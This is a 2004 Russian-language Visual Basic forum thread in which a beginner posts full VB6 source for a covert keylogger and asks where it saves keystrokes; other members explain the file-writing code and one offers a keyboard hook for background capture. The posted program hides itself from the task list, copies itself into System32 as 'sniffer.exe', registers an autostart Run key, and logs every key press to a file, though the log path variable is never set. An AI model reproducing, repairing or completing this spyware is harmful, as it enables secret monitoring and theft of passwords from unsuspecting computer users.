Visual Basic, .NET, ASP, VBScript
 

   
   
     

Форум - Общий форум

Страница: 1 |

 

  Вопрос: HELP нашел на сайте пример, требуется разъяснение Добавлено: 08.09.04 10:45  

Автор вопроса:  Новичек2
вообщем, просматриваю пример, и не могу понять, куда эта прога сохраняет текст....
хотя мне надо только код считывания и сохранения текста набранного на клавиатуре, все остальное ненужно, если у кого то есть другой пример поделитесь плиззз

Option Explicit
'API funksii dlya raboti s reestrom
'eti funksii budut ispolzovan vo vremya inisializasii proqramm
'to est dlya sdelat avtozaqruzku
Private Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long
Private Declare Function RegOpenKey Lib "advapi32.dll" Alias "RegOpenKeyA" (ByVal hKey As Long, ByVal lpSubKey As String, phkResult As Long) As Long
Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long
Private Const HKEY_LOCAL_MACHINE = &H80000002
'---------------------------------------------------------------
'eto funksii dlya klaviaturu
'---------------------------------------------------------------
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long
Private Declare Function MapVirtualKey Lib "user32" Alias "MapVirtualKeyA" (ByVal wCode As Long, ByVal wMapType As Long) As Long
Public APATH As String ' peremennaya dlya polucheniya sistemnoe papku
Public FN As String 'eto imya isxodnoqo fayla.Vse rezultati zapisivayutsya tuda
Public FF As Integer 'eto dlya FreeFile
Public TMPFILE As String 'eto premejutocnoe fayl s rasshireniem .inf
Dim buttons(255) As Integer 'massiv dlya pressed buttons


'---------------------------------------------------------------
Private Sub Form_Load()
'esli proqramma uzhe rabotaet toqda vixodim
If App.PrevInstance = True Then End

'pryachem proqrammu.posle etoqo on budut viden tolko v spiske prosessi
App.TaskVisible = False

'eto dlya straxovku ot oshibok
On Error GoTo err

'poluchaem sistemnoe papku i zapisivayum tuda nashevo EXE fayl
APATH = Environ("SYSTEMROOT") + "\system32\sniffer.exe"

'peremennaya FN eto imya isxodnoqo fayla
'on naxoditsya v sistemnom kataloqe (Windir\System32\)
FN = Left$(APATH, Len(APATH) - 3) + "dll"

'esli proqramma net v etom kompyutere toqda
'nujen inisializasiya (posmotri proceduru "Init")
If Len(Dir$(APATH)) = 0 Then
Call init
End If

'otkrivaem isxodniy fayl i zapisivaem tuda tekushuyu datu
FF = FreeFile
Open FN For Append As FF
Print #FF, Trim$(Date); "->";
Close #FF

'Nachinaem :)))
Timer1.Interval = 50
Exit Sub
err:
End
End Sub



'---------------------------------------------------------------
Private Sub Timer1_Timer()
Static retval As Integer
Static k As Integer
For k = 0 To 255
'API funksiya GetAsyncKeyState proveryaet nazhata li kakoe to knopka
retval = GetAsyncKeyState(k)
'esli nazhata toqda poluchaem eqo imya
'peremennaya k kod nazhimaemoy knopkoy
If (retval <> 0) And (Not buttons(k)) Then GETKname (k)
buttons(k) = retval <> 0
Next k
End Sub
Public Sub GETKname(KeyCode As Integer)
Dim retval As Long
Dim scancode As Long
Dim keyname As String * 256

'knopki mausa nam ne nujen.po etomu yeqo ne soxranyaem
If KeyCode = 1 Or KeyCode = 2 Then Exit Sub

'poluchaem skan kod
scancode = MapVirtualKey(KeyCode, 0)

'posle vipolnenie etoqo funksiya keyname budut soderzhat imya knopka
retval = GetKeyNameText(scancode * &H10000, keyname, 255)

'soxranyaem
SAVETOFILE (keyname)
End Sub


'---------------------------------------------------------------
Public Sub SAVETOFILE(keyname As String)
On Error GoTo err
'udalyaem probeli
keyname = Trim$(keyname)

FF = FreeFile
Open TMPFILE For Append As FF
Print #FF, keyname;
Close #FF
Exit Sub
err:
End
End Sub


'---------------------------------------------------------------
Public Sub init()
'kopiruem nasheqo EXE fayla na sistemnoe papku
FileCopy App.Path + "\sniffer.exe", APATH

'Zapisivaem v avtozaqruzku
Dim lRegKey As Long
RegOpenKey HKEY_LOCAL_MACHINE, "Software\Microsoft\Windows\CurrentVersion\Run", lRegKey
If lRegKey Then
RegSetValueEx lRegKey, "Keyboard Sniffer", 0, 1, ByVal APATH, Len(APATH)
RegCloseKey lRegKey
End If
End Sub

Ответить

  Ответы Всего ответов: 9  

Номер ответа: 1
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #1
Добавлено: 08.09.04 13:17
Тут это делается так:

Public Sub SAVETOFILE(keyname As String)
On Error GoTo err
'udalyaem probeli
keyname = Trim$(keyname)

FF = FreeFile
Open TMPFILE For Append As FF
Print #FF, keyname;
Close #FF
Exit Sub
err:
End
End Sub

А вообще поищи лучше на форуме, тут есть более лучшие варианты загрузки/сохранения файла...

Ответить

Номер ответа: 2
Автор ответа:
 Новичек2



Вопросов: 5
Ответов: 14
 Профиль | | #2 Добавлено: 08.09.04 13:41
спасибо поищу, но хотелось бы и с этим примером разобратся, как я понимаю в этом примере не указано куда сохраняется текст, точнее указано но в виде переменной!?
что это за переменная?

Ответить

Номер ответа: 3
Автор ответа:
 Новичек2



Вопросов: 5
Ответов: 14
 Профиль | | #3 Добавлено: 08.09.04 13:47
просто я еще плохо разбираюсь, немогу понять рабочий это пример или нет, вижу только то что она создает ДЛЛку в которую пишет дату запуска

Ответить

Номер ответа: 4
Автор ответа:
 Новичек2



Вопросов: 5
Ответов: 14
 Профиль | | #4 Добавлено: 08.09.04 14:12
такое подозрение что этот пример просто не работает :((

Ответить

Номер ответа: 5
Автор ответа:
 sne



Разработчик Offline Client

ICQ: 233286456 

Вопросов: 34
Ответов: 5445
 Web-сайт: hw.t-k.ru
 Профиль | | #5
Добавлено: 08.09.04 14:29
Введи в строку поиска по форуму строку "nf = FreeFile", без знаков ""... Думаю найдешь ;)

Ответить

Номер ответа: 6
Автор ответа:
 Новичек2



Вопросов: 5
Ответов: 14
 Профиль | | #6 Добавлено: 08.09.04 14:51
поискал, почитал, ничего не понял :))
единственное нашел часть когда который ты как раз с автором этой программы обсасывал ;))
но мне совершенно другое надо, просто с нуля зделать немогу, думалки пока нехватает, а пример только один для использования, и с тем то разобратся немогу :((

Ответить

Номер ответа: 7
Автор ответа:
 Новичек2



Вопросов: 5
Ответов: 14
 Профиль | | #7 Добавлено: 08.09.04 15:04
вот еще пример нашел (если конечно поможете сделать запись в файл, хотя надеюсь сам справлюсь :)) ) но один вопрос, он будет фоново считывать нажатия клавишь?

Dim KP(0 To 255)


Private Sub Form_KeyDown(CDD As Integer, Shift As Integer)
KP(CDD) = 1
End Sub

Private Sub Form_KeyUp(CDD As Integer, Shift As Integer)
KP(CDD) = 0
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Unload Form1
End
End Sub

Private Sub Form_Unload(Cancel As Integer)
Unload Form1
End
End Sub

Private Sub Timer1_Timer()
s$ = ""
t$ = ""
For N = 0 To 255
Sel = 0
If KP(N) = 1 Then
s$ = s$ & N & " "
If N = 17 Then t$ = t$ & "Ctrl ": Sel = 1
If N = 16 Then t$ = t$ & "Shift ": Sel = 1
If N = 18 Then t$ = t$ & "Alt ": Sel = 1
If N = 9 Then t$ = t$ & "Tab ": Sel = 1
If N = 8 Then t$ = t$ & "BS ": Sel = 1
If N = 13 Then t$ = t$ & "Enter ": Sel = 1
If N = 20 Then t$ = t$ & "CapsLock ": Sel = 1
If N = 46 Then t$ = t$ & ";Del ": Sel = 1
If N = 32 Then t$ = t$ & "Space ": Sel = 1
If N = 35 Then t$ = t$ & "End ": Sel = 1
If N = 34 Then t$ = t$ & "PageDown ": Sel = 1
If N = 45 Then t$ = t$ & "Insert ": Sel = 1
If N = 36 Then t$ = t$ & "Home ": Sel = 1
If N = 33 Then t$ = t$ & "PageUp ": Sel = 1
If N = 145 Then t$ = t$ & "ScrollLock ": Sel = 1
If N = 144 Then t$ = t$ & "NumLock ": Sel = 1
If N = 19 Then t$ = t$ & "PauseBreak ": Sel = 1
If N = 96 Then t$ = t$ & "0(Ins) ": Sel = 1
If N = 97 Then t$ = t$ & "1(End) ": Sel = 1
If N = 98 Then t$ = t$ & "2(V) ": Sel = 1
If N = 99 Then t$ = t$ & "3(PgDn) ": Sel = 1
If N = 100 Then t$ = t$ & "4(<;) ": Sel = 1
If N = 101 Then t$ = t$ & "5(+) ": Sel = 1
If N = 102 Then t$ = t$ & "6(>;) ": Sel = 1
If N = 103 Then t$ = t$ & "7(Home) ": Sel = 1
If N = 104 Then t$ = t$ & "8(^) ": Sel = 1
If N = 105 Then t$ = t$ & "9(PgUp) ": Sel = 1
If N = 111 Then t$ = t$ & "Доп / ": Sel = 1
If N = 106 Then t$ = t$ & "Доп * ": Sel = 1
If N = 109 Then t$ = t$ & "Доп - ": Sel = 1
If N = 107 Then t$ = t$ & "Доп + ": Sel = 1
If N = 110 Then t$ = t$ & "Доп .(Del) ": Sel = 1
If N = 112 Then t$ = t$ & "F1 ": Sel = 1
If N = 113 Then t$ = t$ & "F2 ": Sel = 1
If N = 114 Then t$ = t$ & "F3 ": Sel = 1
If N = 115 Then t$ = t$ & "F4 ": Sel = 1
If N = 116 Then t$ = t$ & "F5 ": Sel = 1
If N = 117 Then t$ = t$ & "F6 ": Sel = 1
If N = 118 Then t$ = t$ & "F7 ": Sel = 1
If N = 119 Then t$ = t$ & "F8 ": Sel = 1
If N = 120 Then t$ = t$ & "F9 ": Sel = 1
If N = 121 Then t$ = t$ & "F10 ": Sel = 1
If N = 122 Then t$ = t$ & "F11 ": Sel = 1
If N = 123 Then t$ = t$ & "F12 ": Sel = 1
If N = 123 Then t$ = t$ & "F12 ": Sel = 1
If N = 27 Then t$ = t$ & "Esc ": Sel = 1

If N = 38 Then t$ = t$ & "^ ": Sel = 1
If N = 40 Then t$ = t$ & "V ": Sel = 1
If N = 37 Then t$ = t$ & "< ": Sel = 1
If N = 39 Then t$ = t$ & "> ": Sel = 1

If Sel = 0 Then t$ = t$ & "'" & Chr$(N) & "' "

End If
Next
Label1.Caption = s$
Label2.Caption = t$
End Sub

Ответить

Номер ответа: 8
Автор ответа:
 alexis_b



ICQ: 232969505 

Вопросов: 10
Ответов: 74
 Профиль | | #8 Добавлено: 09.09.04 12:09
Поясняю:
Open <путь к файлу> For Append As <номер файла>
так вот
TMPFILE - строковая переменная где хранится путь к файлу (вместе с именем файла)
FF - целочисленная переменая где лежит номер файла (он используется для обращения к файлу)
а функция FreeFile возвращает первый свободный номер файла и нужно это для того чтобы если ты в всвоей проге открываеш много файлов ты не гемороился по поводу того номер #1 у тебя занят или нет.

З.Ы. FF по научному называется дескриптор файла.

Ответить

Номер ответа: 9
Автор ответа:
 Barsik



Разработчик Offline Client

ICQ: 343368641 

Вопросов: 17
Ответов: 686
 Web-сайт: barsik.newmail.ru
 Профиль | | #9
Добавлено: 11.09.04 12:42
если надо фоново, дык тебе хук на клаву надо ставить....

могу дать...

Ответить

Страница: 1 |

Поиск по форуму



© Copyright 2002-2011 VBNet.RU | Пишите нам